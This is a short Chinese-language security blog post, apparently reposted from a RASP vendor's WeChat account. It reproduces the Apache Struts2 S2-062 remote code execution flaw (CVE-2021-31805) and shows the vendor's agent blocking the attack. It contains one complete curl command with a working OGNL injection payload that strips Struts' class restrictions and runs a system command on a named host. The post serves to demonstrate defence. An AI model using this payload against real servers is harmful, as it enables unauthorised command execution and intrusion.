RASP | Struts2-062-RCE 复现(CVE-2021-31805)

admin 2022年4月17日20:13:18评论142 views字数 1191阅读3分58秒阅读模式

漏洞简介

由于对CVE-2020-17530(S2-061)的修复不完善。导致一些标签的属性仍然可以执行OGNL表达式,最终可导致远程执行任意代码。


Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。


影响版本


Apache Struts2 2.0.0 ~ 2.5.29( commit dc5128b) 之前

漏洞复现

环境准备

RASP | Struts2-062-RCE 复现(CVE-2021-31805)

发送攻击请求

curl --location --request POST 'http://111.229.199.6:8080/SimpleStruts/S2061.action' --form 'id=%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}'

RASP防护

请求被阻断:

RASP | Struts2-062-RCE 复现(CVE-2021-31805)


查看攻击详情


攻击详情:

RASP | Struts2-062-RCE 复现(CVE-2021-31805)

 

调用栈:

RASP | Struts2-062-RCE 复现(CVE-2021-31805)

请求附带信息:

RASP | Struts2-062-RCE 复现(CVE-2021-31805)



官网:http://www.jrasp.com

github:https://github.com/jvm-rasp/jrasp-agent

加入技术交流群请添加微信:sear2022


原文始发于微信公众号(RASP安全技术):RASP | Struts2-062-RCE 复现(CVE-2021-31805)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月17日20:13:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RASP | Struts2-062-RCE 复现(CVE-2021-31805)http://cn-sec.com/archives/920414.html

发表评论

匿名网友 填写信息